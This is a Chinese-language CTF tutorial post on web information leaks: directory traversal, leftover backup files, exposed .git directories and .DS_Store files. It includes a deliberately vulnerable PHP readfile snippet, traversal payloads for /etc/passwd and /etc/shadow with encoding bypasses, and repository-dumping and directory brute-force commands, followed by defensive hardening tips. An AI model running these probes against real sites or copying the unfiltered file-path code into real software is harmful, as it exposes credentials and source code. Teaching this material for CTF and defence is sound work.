CTF入门|第3期信息泄露实战

admin 2026-07-12 05:27:01 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文是CTF入门系列第三期,聚焦Web安全中的信息泄露漏洞。核心介绍了目录遍历、备份文件泄露、Git泄露和.DS_Store泄露四种常见场景,详细阐述了每种漏洞的原理、实战探测技巧及工具使用(如curl、GitHack、dirsearch)。文章强调信息泄露是CTF中最易上手的题型,考验观察力与信息收集能力,并提供了防守要点供开发运维参考。 综合评分: 88 文章分类: WEB安全,实战经验,安全工具,渗透测试,安全意识


cover_image

CTF入门|第3期 信息泄露实战

原创

安全值班室 安全值班室

安全值班室

2026年7月10日 09:00 北京

在小说阅读器读本章

去阅读

在CTF的Web题目中,有一种最简单的拿Flag方式——它不需要构造复杂的SQL注入语句,也不需要写反序列化利用链,只需要你耐心地检查每一个URL、每一处可能被忽视的角落。这种漏洞叫做信息泄露。

Web应用上线后残留了不该存在的文件或配置,攻击者就能通过这些”蛛丝马迹”直接获取敏感数据。本期带你逐一攻破CTF中最常见的四种信息泄露场景。

📌 本期速览     ① 目录遍历 — 利用路径穿越符直接浏览服务器文件      ② 备份文件泄露 — .bak、.swp、.tar.gz中藏着的源码      ③ Git泄露 — 从.git目录还原完整代码仓库,找回被删的Flag      ④ .DS_Store泄露 — macOS用户的”隐形告密者”暴露所有文件名

一、目录遍历(Directory Traversal)    目录遍历是信息泄露里最基础的题型,也是CTF新人最容易拿到”一血”的题目类型。它的核心原理非常简单:当Web服务器在读取文件时没有严格校验用户输入的路径参数,攻击者就可以通过 ../(跨目录符)跳出本应限制的目录,访问服务器上任意文件。 ▎ 漏洞原理     假设后端使用以下PHP代码读取用户上传的图片:

<?php// 直接接收GET参数file,无任何过滤与校验$file&nbsp;=&nbsp;$_GET['file'];// 拼接路径,存在目录穿越漏洞$path&nbsp;=&nbsp;'/var/www/uploads/'&nbsp;.&nbsp;$file;// 读取文件内容输出readfile($path);?>

攻击者传入 file=../../../../etc/passwd

实际读取路径变为 /var/www/uploads/../../../../etc/passwd

等同于 /etc/passwd

如果Web服务器以root权限运行,甚至可以直接读取 /etc/shadow。在CTF中,目录遍历的常见目标包括:

| 目标路径 | 说明 | | — | — | | ../../../etc/passwd | 经典探测路径,确认漏洞存在 | | ../../../flag 或 ../../../flag.txt | Flag通常放在网站根目录或系统根目录 | | ../flag | 深度较浅,只需一级穿越 | | ../../../../../../../flag | 多层穿越,7层以上也常见 |

▎ 实战技巧

# 基础curl&nbsp;--path-as-is&nbsp;"http://target.com/../../../../etc/passwd"# 单层编码curl&nbsp;"http://target.com/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"# 双层编码curl&nbsp;"http://target.com/%252e%252e%252fetc/passwd"# 变形点点绕过curl&nbsp;"http://target.com/..././..././..././flag"# 批量深度探测for&nbsp;i&nbsp;in&nbsp;$(seq&nbsp;1&nbsp;10);&nbsp;do&nbsp;dots=$(printf&nbsp;'..%%2F%.0s'&nbsp;$(seq&nbsp;1&nbsp;$i));&nbsp;curl&nbsp;-s&nbsp;-o&nbsp;/dev/null&nbsp;-w&nbsp;"%{http_code} "&nbsp;"http://target.com/${dots}flag"; done;&nbsp;echo&nbsp;""

⚠️ 注意点     curl默认会”智能”地规范化路径,把 ../../ 解析掉。必须使用 --path-as-is 参数让curl原样发送路径,否则你永远都测不出目录遍历漏洞。

二、备份文件泄露    开发者在编写代码时,编辑器或手工操作会留下各种备份文件。这些文件本不该出现在生产服务器上,但现实中因为各种疏忽被一起部署到线上,成为信息泄露的重要来源。CTF中这种题型很常见,往往访问一个PHP页面显示的是空白或错误信息,但加上 .bak 后缀就能直接下载源码。 ▎ 常见备份文件

| 后缀 | 来源 | 说明 | | — | — | — | | .bak | 手动备份 | 最普遍,直接复制原文件加.bak后缀 | | .swp.swo / .swn | Vim交换文件 | Vim崩溃或编辑时遗留的缓存 | | .save~ | 文本编辑器 | nano、gedit等编辑器自动备份 | | www.zipwww.tar.gz | 手工打包 | 完整项目打包,一步到位 | | .idea/.vscode/ | IDE配置 | 可能暴露项目结构和路径 |

▎ 实战探测

# 逐个探测常见备份文件curl&nbsp;-s http://target.com/index.php.bakcurl -s http://target.com/index.php~curl -s http://target.com/index.php.swpcurl -s http://target.com/index.php.savecurl -s http://target.com/index.php.oldcurl -s http://target.com/www.zipcurl -s http://target.com/www.tar.gzcurl -s http://target.com/backup.zip# dirsearch 备份文件扫描命令python3 dirsearch.py -u http://target.com/ -e php,html,bak,txt -w backup_extensions.txt

Vim交换文件(.swp)尤其值得关注。当你用Vim编辑文件时,如果编辑器异常退出(SSH断开、系统崩溃),.swp文件会留在磁盘上,里面保存了未保存的编辑内容,甚至包含完整的文件内容。下载后用 strings 命令就能提取出其中的文本信息。 三、Git泄露    Git泄露是CTF Web方向中出镜率最高的信息泄露漏洞类型,几乎每一场CTF比赛都能看到它的身影。很多开发者在项目开发中使用Git做版本控制,部署时却直接把包含 .git 目录的整个项目复制到了Web服务器上,也没有配置Nginx/Apache禁止访问 .git 目录。攻击者通过下载 .git 目录下的文件,可以还原出完整的代码仓库——包括所有历史提交中的敏感信息。 ▎ 原理与验证  Git的 .git 目录存储了项目的全部版本历史。只要我们能拿到 .git/HEAD.git/index 以及 .git/objects/ 下的对象文件,就能用 git checkout 恢复完整的源代码和所有提交历史。验证是否存在Git泄露只需一条请求:

# Git泄露基础探测curl -s http://target.com/.git/HEADcurl -s http://target.com/.git/config

▎ 工具:GitHack(推荐) 手工逐个下载 .git/objects 非常繁琐,业界有成熟的开源工具一键搞定。

# 方案1:GitHack 经典工具git&nbsp;clone&nbsp;https://github.com/lijiejie/GitHack.git &&&nbsp;cd&nbsp;GitHack && python3 GitHack.py http://target.com/.git/# 方案2:git-dumper 轻量工具pip3 install git-dumper && git_dumper http://target.com/.git/ ./output_dir/

恢复仓库后,可以通过以下命令找到被删除的Flag:

# 进入导出的源码目录cd&nbsp;output_dir/# 查看全部分支+所有提交记录(含已删除提交)git&nbsp;log --all&nbsp;--oneline# 展示所有提交完整代码改动差异git&nbsp;log -p --all# 查看指定提交号的详细源码修改git&nbsp;show&nbsp;[commit-hash]# 切换到对应历史提交,读取旧文件中的Flaggit&nbsp;checkout&nbsp;[commit-hash]

▎ Git泄露的出题套路     CTF中Git泄露题常见的三种出题方式:

| 套路 | 特点 | 解法 | | — | — | — | | 历史版本藏Flag | Flag写在旧版中,在新版中被删除 | git log -p 查看所有差异 | | 多个分支藏Flag | Flag隐藏在非主分支中 | git branch -a 查看所有分支 | | Tag标签藏Flag | Flag附在某个Tag上而不是文件里 | git tag -lgit show tag_name |

💡 经验:Git泄露三板斧     1️⃣ 先访问 /.git/HEAD 确认漏洞存在      2️⃣ 用 GitHack 或 git-dumper 一键拉取完整仓库      3️⃣ 执行 git log -p --all 翻看所有提交的历史差异,Flag往往就藏在某次”删除Flag”的提交里

四、.DS_Store泄露.DS_Store(Desktop Services Store)是macOS系统为每个文件夹自动生成的一个隐藏文件,用来存储该文件夹的显示偏好信息——比如图标排列位置、窗口大小、背景图设置等。关键的是,这个文件会列出该文件夹下的所有文件名。如果在CTF比赛中发现网站存在 .DS_Store 泄露,就等于拿到了一份目录索引。  这类题目往往出现在用Mac开发的出题人身上,他们直接把项目从Mac拷贝到服务器上,忘记了macOS会自动生成 .DS_Store 文件。通过解析这个文件,你可能发现隐藏的管理后台路径、Flag文件的真实文件名等关键信息。

# 1. 下载目标 .DS_Store 文件curl -s http://target.com/.DS_Store -o .DS_Store# 2. 方法1:ds_store 库完整解析文件列表pip install ds_storepython3 -c&nbsp;"from ds_store import DSStorewith DSStore.open('.DS_Store') as d:&nbsp; &nbsp; for entry in d:&nbsp; &nbsp; &nbsp; &nbsp; print(entry.filename)"# 3. 方法2:strings 快速提取文件名(无需额外库)strings .DS_Store |&nbsp;sort&nbsp;-u |&nbsp;grep&nbsp;-v&nbsp;'^\.'

五、综合探测工具链    在实际的CTF比赛中,以上四种信息泄露漏洞往往不是孤立出现的。建议按以下顺序进行系统化探测:

| 探测目标 | 命令/工具 | | — | — | | 目录遍历 | curl + --path-as-is 逐级探测 | | .git泄露 | 访问 /.git/HEAD,然后 GitHack | | 备份文件 | dirsearch + 备份文件字典 | | .DS_Store | 下载并 Python 解析 | | 目录爆破 | dirsearch / gobuster / ffuf + 通用字典 |

其中 dirsearch 是目前使用最广泛的目录爆破工具,集成了大量字典和丰富的绕过功能:

# dirsearch 目录扫描,过滤403/404无效状态码python3 dirsearch.py -u http://target.com/ -e php,txt,zip -x 403,404# ffuf 高速爆破,FUZZ占位符替换路径字典ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt

🛡️ 防守要点(给开发者和运维)     ✅ 禁止将 .git 目录部署到生产环境——用 .gitignore 或CI/CD流水线自动排除      ✅ 上线前删除所有备份文件(.bak.swp~ 等)      ✅ 严格校验路径参数,过滤 ../..\\%2e%2e%2f      ✅ 使用 realpath() 或 basename() 将路径规范化后再读取文件      ✅ Nginx配置:location ~ /\. { deny all; } 禁止访问所有点开头的隐藏文件

信息泄露在CTF Web方向属于最容易上手的一类题。它不需要你精通漏洞利用技术,也不要求你编写复杂的攻击脚本,考验的是观察力的细致程度信息收集的全面性。下次面对一道Web题无从下手时,先走一遍上面的探测流程——也许Flag就大摇大摆地躺在 /.git 目录里,等着你去捡。


觉得有用?点个在看支持一下

值班员说     下一期我们将进入CTF Web方向的又一个重点领域——注入类漏洞。SQL注入、命令注入、LDAP注入……这些在CTF赛场上都是高频考点,也是最能拉开分差的题型。我们下期见。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全值班室 安全值班室 安全值班室《CTF入门|第3期 信息泄露实战》

    智能IP广域网(AIWAN) 网络安全文章

    智能IP广域网(AIWAN)

    文章总结: AIWAN是智能IP广域网,通过AI路由器、IPv6+技术和智能体协同,实现网络从‘傻传数据’到‘聪明调度’的升级。它解决AI时代大模型训练、自动驾
    评论:0   参与:  0